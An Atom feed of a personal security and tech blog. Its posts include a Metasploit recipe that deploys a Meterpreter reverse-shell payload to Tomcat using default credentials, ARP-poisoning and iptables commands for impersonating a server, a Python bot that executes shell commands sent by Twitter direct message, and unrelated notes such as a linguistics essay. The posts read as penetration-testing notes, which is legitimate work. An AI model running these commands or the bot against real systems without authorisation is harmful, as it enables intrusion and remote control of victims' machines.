<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-34015684</id><updated>2012-01-25T22:11:07.496-08:00</updated><title type='text'>Javier's Blog</title><subtitle type='html'>Mostly computers and other tech stuff,...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>34</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-34015684.post-8460101192459411118</id><published>2012-01-17T16:25:00.000-08:00</published><updated>2012-01-17T16:25:32.242-08:00</updated><title type='text'>Tomcat Exploitation with Metasploit</title><content type='html'>So if you have something like this in your tomcat/conf/tomcat-users.xml:&lt;br /&gt;&lt;br /&gt;&amp;lt; ?xml version='1.0' encoding='utf-8'? &amp;gt;&lt;br /&gt;&amp;lt; tomcat-users &amp;gt;&lt;br /&gt;&amp;nbsp; &amp;lt; role rolename="manager"/ &amp;gt;&lt;br /&gt;&amp;nbsp; &amp;lt; user username="tomcat" password="tomcat" roles="manager"/ &amp;gt;&lt;br /&gt;&amp;lt; /tomcat-users &amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use msf to pwn it:&lt;br /&gt;./msfconsole&lt;br /&gt;use exploit/multi/http/tomcat_mgr_deploy&lt;br /&gt;set PASSWORD tomcat&lt;br /&gt;set USERNAME tomcat&lt;br /&gt;set RHOST 1.1.1.1&lt;br /&gt;set RPORT 8080&lt;br /&gt;set PAYLOAD java/meterpreter/reverse_tcp&lt;br /&gt;set LHOST 2.2.2.2&lt;br /&gt;show options&lt;br /&gt;set TARGET 1&lt;br /&gt;exploit&lt;br /&gt;&lt;br /&gt;This works on apache-tomcat-5.5.35 (confirmed) and 6.x, probably 7.x too. Moral of the story: don't use tomcat-users.xml to authenticate users, i.e., you are saving a password in plain-text and you are probably using an easily guessable password...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-8460101192459411118?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/8460101192459411118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2012/01/tomcat-exploitation-with-metasploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8460101192459411118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8460101192459411118'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2012/01/tomcat-exploitation-with-metasploit.html' title='Tomcat Exploitation with Metasploit'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-5301348312924232734</id><published>2011-10-28T15:53:00.000-07:00</published><updated>2011-10-28T15:53:16.989-07:00</updated><title type='text'>Web frameworks and internet security</title><content type='html'>Didn't know until recently that I could find my thesis so easily, here is a direct link to the SDSU library:&amp;nbsp;&lt;a href="http://libpac.sdsu.edu/record=b3732273%7ES0"&gt;http://libpac.sdsu.edu/record=b3732273~S0&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-5301348312924232734?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/5301348312924232734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2011/10/web-frameworks-and-internet-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5301348312924232734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5301348312924232734'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2011/10/web-frameworks-and-internet-security.html' title='Web frameworks and internet security'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-2393362922078106777</id><published>2011-09-25T08:43:00.000-07:00</published><updated>2011-09-25T08:43:31.882-07:00</updated><title type='text'>Man-in-the-Middle Server Impersonation</title><content type='html'>&lt;b&gt;The Challenge&lt;/b&gt;&lt;br /&gt;Over the years I’ve seen many presentations on Main-in-the-Middle (MitM) attacks via ARP poisoning and have found a number of tools that can do this, but I’ve never seen anyone present this technique targeting a specific server-client connection with the aim of testing the client side. Recently I was given the task to audit a piece of software that makes a secure connection (HTTPS) to a server and transfers data back and forward. This brings up a number of challenges: first and foremost is traffic redirection, i.e., getting in the middle, getting in the middle is trivial if the attack machine resides on the same network as the victim machine, any of these tools can perform ARP poisoning: Cain, Ettercap, Dsniff, etc. The second challenge is to impersonate a specific server, i.e., respond only to traffic destined to the server that is to be impersonated, and last but not least is to break or bypass SSL encryption.&lt;br /&gt;&lt;br /&gt;I initially began testing by using Cain to perform ARP poisoning. Cain is a feature-full penetration testing application, which I used to perform the MitM attack. So being able to redirect traffic, the task of bypassing SSL can also be done with Cain right? Not so fast. Cain does have the ability to proxy SSL connections; it generates certificates for any SSL connection it sees and replies to the client with the generated certificates while at the same time connecting to the server side, relaying the connection. This worked great when I was testing SSL connections with a Web browser to a number of sites, but Cain failed when attempting to proxy connections for the server I was interested in impersonating. I am not sure exactly why Cain failed (“Couldn’t accept SSL connection from the client”), it may have to do with SSL cipher strength, or somehow the client knew that the certificate that Cain generated was invalid, whatever the case, Google was not much help. Even if this had worked, I wanted to reply to a specific outbound connection, but Cain simply allowed me to eavesdrop (snoop) on traffic, not to impersonate a server. &lt;br /&gt;&lt;br /&gt;The second challenge of replying to a specific connection (server impersonation) seemed a bit tough at first since I’ve never heard of a tool to do this, or so I thought. I was a bit puzzled until I figured that all I need to do was to masquerade packets forwarding them to my target machine and reply to the connection as if the request was being made directly to my attack machine. Now what tool can I use to masquerade packets? Iptables? Of course, using Iptables I was able to reply only to a specific server from a specific client.&lt;br /&gt;&lt;br /&gt;First we need to be able to forward packets:&lt;br /&gt;&lt;blockquote&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/blockquote&gt;&lt;br /&gt;Then we need to masquerade packets:&lt;br /&gt;&lt;blockquote&gt;iptables -t nat -A PREROUTING -i eth0 -p tcp -s victim -d server --dport 443 -j REDIRECT --to-port 443&lt;/blockquote&gt;&lt;br /&gt;So at this point I am redirecting all traffic from the victim through my attack machine and impersonating the target server. I used Ettercap (switched from Cain since Cain only runs on Windows) to redirect traffic through the attack machine via ARP poisoning, and Iptables to change the destination IP address of the target server. At this point, I setup Apache to make the SSL connection and server data to the client. I wrote a quick and dirty PHP script to fuzz the client, but Apache kept on giving me some out of memory errors when my responses got too big. So I then wrote a couple of one-line fuzzers that did not use Apache:&lt;br /&gt;&lt;br /&gt;Fill up memory with AAA...:&lt;br /&gt;&lt;blockquote&gt;ruby -e 'while true; print "A"; end' | nc -l -p 80&lt;/blockquote&gt;&lt;br /&gt;Fill up memory with random data:&lt;br /&gt;&lt;blockquote&gt;ruby -e 'while true; print rand(127).chr; end' | nc -l -p 80&lt;/blockquote&gt;&lt;br /&gt;Now the only challenge was to feed this data through an SSL channel. While searching for other SSL proxies, since Cain proved to be the wrong tool, I ran into this little tool called Stunnel, universal SSL tunnel. By simply setting three options in its configuration file (client=no, accept=80, connect=443) I was able to setup a listener on port 443, which is redirects traffic to port 80. &lt;br /&gt;&lt;br /&gt;Not too bad eh…&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Assumptions&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Attack machine is on the same network as victim machine&lt;/li&gt;&lt;li&gt;Client does not perform SSL verification&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-2393362922078106777?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/2393362922078106777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2011/09/man-in-middle-server-impersonation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/2393362922078106777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/2393362922078106777'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2011/09/man-in-middle-server-impersonation.html' title='Man-in-the-Middle Server Impersonation'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-5697716037060842324</id><published>2011-07-05T17:08:00.000-07:00</published><updated>2011-07-05T17:08:47.717-07:00</updated><title type='text'>I always forget basename</title><content type='html'>I always forget the name of this handy tool: &lt;pre&gt;basename&lt;/pre&gt;&lt;br /&gt;Basename does more than return the base name of a file, i.e.,&lt;br /&gt;&lt;pre&gt;basename /path/to/some/file.txt&lt;br /&gt;file.txt&lt;br /&gt;&lt;/pre&gt;It also can give you the file without the extension, e.g.,&lt;br /&gt;&lt;pre&gt;basename /path/to/some/file.txt .txt&lt;br /&gt;file&lt;br /&gt;&lt;/pre&gt;This may seem pretty useless, but it is very handy when you are deep in some script doing something like:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;for WAR in `ls *.war`; do&lt;br /&gt;  DIR=`basename $WAR .war`&lt;br /&gt;  mkdir $DIR&lt;br /&gt;  cd $DIR &lt;br /&gt;  jar -xvf $WAR&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I just thought I'd make this entry because I always seem to forget what the name of this simple tool is...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-5697716037060842324?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/5697716037060842324/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2011/07/i-always-forget-basename.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5697716037060842324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5697716037060842324'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2011/07/i-always-forget-basename.html' title='I always forget basename'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-3570285350115299982</id><published>2011-02-25T16:17:00.000-08:00</published><updated>2011-02-25T16:18:13.931-08:00</updated><title type='text'>Just a Quick Paper on Computational Linguistics</title><content type='html'>&lt;b&gt;COMPUTATIONAL LINGUISTICS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Communication with computer systems is becoming increasingly natural. Although the technology depicted in current science fiction novels and films might seem farfetched, computer interaction via speech is becoming a reality. Many specialized systems have been developed for use by the disabled, which allows for interaction with a computer system via speech and other means. There are countless speech to text and text to speech applications which can be deployed on ordinary computers. Even most modern cellular phones have some type of speech enabled command capability. It is true that this technology is at its infancy and has a long way to go before we can seamlessly communicate with computer systems via speech. But recent advances in this technology, known as Computational Linguistics, seem to grasp at what someday will no longer be science fiction.&lt;br /&gt;&lt;br /&gt;Computational Linguistics, a subdivision of the broader subject known as Natural Language Processing (NLP), deals with language based human-computer interaction, as well as computer aided language translation. Computational Linguistics is used in many applications, speech recognition, language translation, spelling and grammar checking, etc. The primary techniques now used in Computational Linguistics are statistical in nature and have brought significant advances to the field in recent years [1]. A system which is to seamlessly communicate via a natural language must have the following abilities: speech recognition, natural language understanding, natural language generation and speech synthesis, [3] all of which fall under Computational Linguistics. Other abilities such a system must have are information retrieval and extraction as well as inference; these are however, a bit out of the realm of Computational Linguistics. Given the complexity of natural languages, the task that computational linguists have taken up is more difficult than once thought.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;STATISTICAL APPROACH&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;There is some debate about the approach that computational linguists have taken. Rational linguists, lead by Noam Chomsky, believe that statistical analysis has little to no chance at encompassing language entirely. Part of the bias against statistical analysis comes from the fact that early statistical NLP systems were extremely simple and could not begin to process the complexity of language. Another argument against statistical analysis is that computing the probability of sentences from a body of text would assign the same probability to grammatical and ungrammatical sentences [2]. Furthermore, there are sentences which are grammatically correct but are nonsensical in nature. Chomsky’s famous example of this is “Colorless green ideas sleep furiously,” a sentence which is grammatically correct but does not make sense. The argument here is that a system which is to communicate with humans must be able to decipher such a sentence as erroneous.&lt;br /&gt;&lt;br /&gt;Computational linguists handle this issue by not worrying about which sentences are grammatically correct and which are not, instead, they make note of sentences which are likely to be said. Correct sentences are more likely to be said while incorrect sentences are less likely to be said. Often used sentences, regardless of whether they are considered correct or not, are considered part of the language as they convey some mutually agreed meaning. The earlier issue about the complexity of Computational Linguistic systems is no longer an issue since modern Computational Linguistic systems are nearly as complex as the models developed by rational linguists. The difference being that the former takes a statistical approach to learning and does not try to represent every part of the brain as we understand it. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;AMBIGUITY&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The main challenge computational linguists have taken up is the disambiguation of language. In the current state of affairs, computer systems learn from bodies of text, known as corpora [2], as they cannot observe the natural word around us and infer information as we do. The problem with this approach is that sentences often may be parsed in more ways than one. Sentences, for example, may be parsed so that their verb groups contain one word for one meaning, and multiple words for another meaning. Under these situations multiple parse trees may be generated, each parse tree having a slightly different meaning than similar trees. For long sentences, the number of applicable parse trees may be enormous [2].&lt;br /&gt;&lt;br /&gt;Computational Linguists argue that by using a statistical NLP approach, where lexical and structural preferences in language are computed, the issue of numerous permutations of parse trees becomes moot. This approach aims at approximating the appropriate representation for a parse tree which conveys the meaning of the sentence. Lexical and structural preferences are learned or remembered by Computational Linguistic systems via N-grams.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MARKOV MODELS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;N-grams are collections of words as they would appear in a natural language i.e. a sentence fraction where ‘n’ is the number of words in that fraction. For example, given the sentence “the fox jumped over the dog,” its corresponding trigram (3-gram) would consist of “the fox jumped”, “fox jumped over”, “jumped over the”, “over the dog.” These n-grams are built by parsing corpora and partitioned by having the previous (n - 1) words in common. A state sequence machine or automaton can be built from these n-gram partitions to identify the probabilities of one word or state to follow another. Using the statistical qualities of n-grams, the next word (n) may be predicted in a sentence fragment with relative accuracy. A variation of this model, where the state sequence is originally unknown, is referred to as the Hidden Markov Model (HMM). HMMs are the foundation to modern speech recognition systems [2] as well as other NLP applications.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;AUGMENTED TRANSITION NETWORKS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Augmented Transition Networks (ATNs) build on the idea of using finite state machines in order to grammatically parse sentences. W. A. Wood in “Transition Network Grammars for Natural Language Analysis” claims that by adding a recursive mechanism to a finite state model, parsing can be achieved much more efficiently. Instead of building an automaton for a particular sentence, a collection of transition graphs are built. A grammatically correct sentence is parsed by reaching a final state in any state graph. Transitions between these graphs are simply subroutine calls from one state to any initial state on any graph in the network. A sentence is determined to be grammatically correct if a final state is reached by the last word in the sentence.&lt;br /&gt;&lt;br /&gt;This model meets many of the goals set forth by the nature of language in that it captures the regularities of the language. That is, if there is a process that operates in a number of environments, the grammar should encapsulate the process in a single structure [4]. Such encapsulation not only simplifies the grammar, but has the added bonus of efficiency of operation. Another advantage of such a model is the ability to postpone decisions. Many grammars use guessing when an ambiguity comes up. This means that not enough is yet known about the sentence. By the use of recursion, ATNs solve this inefficiency by postponing decisions until more is known about a sentence [4].&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CONCLUSION&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;As it can be clearly seen by this brief overview of Computational Linguistics, the field is complex and evolving. Although Computational Linguistics is at its infancy, much of the ground work has already been laid out. It is hard to determine whether a system with similar abilities to those of 3CPO (Star Wars) will ever become a reality, but it is clear that a subset of those abilities are already helping us with our everyday lives. Applications such as speech recognition and text translation are not perfect by any means, but are simply a subset of the capabilities future systems will have at their disposal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;REFERENCES&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[1] Steven Abney. Statistical Methods and Linguistics. In: Judith Klavans and Philip Resnik (eds.), The Balancing Act: Combining Symbolic and Statistical Approaches to Language. The MIT Press, Cambridge, MA. 1996.&lt;br /&gt;&lt;br /&gt;[2] Christopher D. Manning and Hinrich Schütze, 1999, Foundations of Statistical Natural Language Processing, MIT Press, Cambridge, MA.&lt;br /&gt;&lt;br /&gt;[3] Daniel Jurafsky and James H. Martin, 2000, Speech and Language Processing, Prentice Hall, Upper Saddle River, New Jersey.&lt;br /&gt;&lt;br /&gt;[4] Transition Network Grammars for Natural Language Analysis, W. A. Woods,  Communications of the ACM, Volume 13 , Issue 10  (October 1970) Pages: 591 - 606, ISSN:0001-0782&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-3570285350115299982?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/3570285350115299982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2011/02/just-quick-paper-on-computational.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/3570285350115299982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/3570285350115299982'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2011/02/just-quick-paper-on-computational.html' title='Just a Quick Paper on Computational Linguistics'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-7680103024205494788</id><published>2010-12-05T21:06:00.000-08:00</published><updated>2010-12-05T21:06:19.171-08:00</updated><title type='text'>We Won Capture the Flag</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://docs.google.com/uc?id=0B2Ka7F_6TetSMGI1YzJiZDctMjhiYS00OTI4LThjNzQtMDJiYWVjMTE3YjAx" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="https://docs.google.com/uc?id=0B2Ka7F_6TetSMGI1YzJiZDctMjhiYS00OTI4LThjNzQtMDJiYWVjMTE3YjAx" width="238" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-7680103024205494788?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/7680103024205494788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/12/we-won-capture-flag.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/7680103024205494788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/7680103024205494788'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/12/we-won-capture-flag.html' title='We Won Capture the Flag'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-2233436103346738074</id><published>2010-12-05T20:57:00.000-08:00</published><updated>2010-12-05T20:57:33.946-08:00</updated><title type='text'>TwittBot</title><content type='html'>I got a bit bored during the SANS GIAC class so I decided to whip up a twitter bot. Nothing fancy, just a quick &amp; dirty way to command a machine through twitter.&lt;br /&gt;&lt;br /&gt;First, you have to register a new account which will house the application and register a new application at &lt;a href="http://dev.twitter.com/apps"&gt;http://dev.twitter.com/apps&lt;/a&gt; once that is done, then make note of your API key, Consumer Secret, Access token and secret.&lt;br /&gt;&lt;br /&gt;Second, get the required python packages: python-twitter &amp; python-oauth2&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;hg clone http://python-twitter.googlecode.com/hg/ python-twitter&lt;br /&gt;cd python-twitter/&lt;br /&gt;python setup.py build&lt;br /&gt;sudo python setup.py install &lt;br /&gt;git clone https://github.com/simplegeo/python-oauth2.git&lt;br /&gt;cd python-oauth2/&lt;br /&gt;python setup.py build&lt;br /&gt;sudo python setup.py install&lt;/pre&gt;&lt;br /&gt;Third, execute the code below (python twitbot.py:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;import twitter, time, os&lt;br /&gt;&lt;br /&gt;class TwitServ:&lt;br /&gt;  api = None&lt;br /&gt;  sleep_time=60*5&lt;br /&gt;  def login(self):&lt;br /&gt;    self.api = twitter.Api(consumer_key='***',&lt;br /&gt;      consumer_secret='***',&lt;br /&gt;      access_token_key='****',&lt;br /&gt;      access_token_secret='****')&lt;br /&gt;&lt;br /&gt;  def printFriends(self):&lt;br /&gt;    friends = self.api.GetFriends()&lt;br /&gt;    allfriends=''&lt;br /&gt;    for f in friends:&lt;br /&gt;      allfriends+=f.name + ' '&lt;br /&gt;    print "All my friends are " +allfriends&lt;br /&gt;    #print [u.name for u in users]&lt;br /&gt;    #api.PostUpdates("I am Bot, hear me roar...")&lt;br /&gt;&lt;br /&gt;  def getLastProcessedMsgId(self):&lt;br /&gt;    f=open('lastmsgid', 'r')&lt;br /&gt;    return f.readline()&lt;br /&gt;&lt;br /&gt;  def saveLastMsgId(self, id):&lt;br /&gt;    f=open('lastmsgid', 'w')&lt;br /&gt;    f.write(str(id))&lt;br /&gt;    f.close()&lt;br /&gt;&lt;br /&gt;  def getLastMsg(self):&lt;br /&gt;    dirmsgs=self.api.GetDirectMessages()&lt;br /&gt;    print "Last message: " + dirmsgs[0].text&lt;br /&gt;    return dirmsgs[0]&lt;br /&gt;&lt;br /&gt;  # print str(lastmsg.id) + ' ' + str(lastmsgid)&lt;br /&gt;  def reply(self):&lt;br /&gt;    lastmsg=self.getLastMsg()&lt;br /&gt;    if str(lastmsg.id) != self.getLastProcessedMsgId():&lt;br /&gt;      cmd=lastmsg.text&lt;br /&gt;      self.saveLastMsgId(lastmsg.id)&lt;br /&gt;      result=os.popen(cmd).readlines()&lt;br /&gt;      msg=""&lt;br /&gt;      for i in result:&lt;br /&gt;        msg+=i&lt;br /&gt;      try:&lt;br /&gt;        self.api.PostDirectMessage(lastmsg.sender_id, msg[:140])&lt;br /&gt;        #self.api.PostUpdates(msg[:140]) # Use this if you want replies to be public&lt;br /&gt;        print "Sending  messge to "+lastmsg.sender_id+": " + msg[:140]&lt;br /&gt;      except twitter.TwitterError:&lt;br /&gt;        print "Error sending message, possible duplicate message"&lt;br /&gt;      self.saveLastMsgId(lastmsg.id)&lt;br /&gt;    else:&lt;br /&gt;      print "No new messages to process..."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  def serve(self):&lt;br /&gt;    self.login()&lt;br /&gt;    print "logged in..."&lt;br /&gt;    self.printFriends()&lt;br /&gt;    while True:&lt;br /&gt;      self.reply()&lt;br /&gt;      time.sleep(sleep_time)&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;if __name__ == "__main__":&lt;br /&gt;  TwitServ().serve()&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To command TwittBot simply send a direct msg to is: &lt;pre&gt;d IamBot uname -a&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-2233436103346738074?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/2233436103346738074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/12/twittbot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/2233436103346738074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/2233436103346738074'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/12/twittbot.html' title='TwittBot'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-8955858562944179154</id><published>2010-11-03T13:49:00.000-07:00</published><updated>2010-11-03T13:51:55.242-07:00</updated><title type='text'>Testing SSL Connection</title><content type='html'>Sometimes you need to test a web server manually to see how the protocol behaves at lower levels. So you can do something like:&lt;br /&gt;&lt;br /&gt;telnet 192.168.1.1 80&lt;br /&gt;GET /index.html HTTP/1.0&lt;br /&gt;&lt;br /&gt;But what if the only open port is HTTPS, then you can use this:&lt;br /&gt;&lt;br /&gt;openssl s_client -connect 192.168.1.1:443&lt;br /&gt;GET /index.html HTTP/1.0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-8955858562944179154?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/8955858562944179154/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/11/testing-ssl-connection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8955858562944179154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8955858562944179154'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/11/testing-ssl-connection.html' title='Testing SSL Connection'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-612947812603427148</id><published>2010-08-25T14:33:00.000-07:00</published><updated>2010-08-26T13:41:38.090-07:00</updated><title type='text'>BlackHat &amp; Defcon: Heaven</title><content type='html'>&lt;p class="mobile-photo"&gt;&lt;a href="http://1.bp.blogspot.com/_ixG7kgN1NFo/THbCsUw_rzI/AAAAAAAABqo/bU0MA4Nfpyw/s1600/CIMG0070-704690.jpg"&gt;&lt;img src="http://1.bp.blogspot.com/_ixG7kgN1NFo/THbCsUw_rzI/AAAAAAAABqo/bU0MA4Nfpyw/s320/CIMG0070-704690.jpg"  border="0" alt="" id="BLOGGER_PHOTO_ID_5509805260878622514" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;span style="font-family:Prelude, Verdana, san-serif;"&gt;&lt;br /&gt;&lt;br 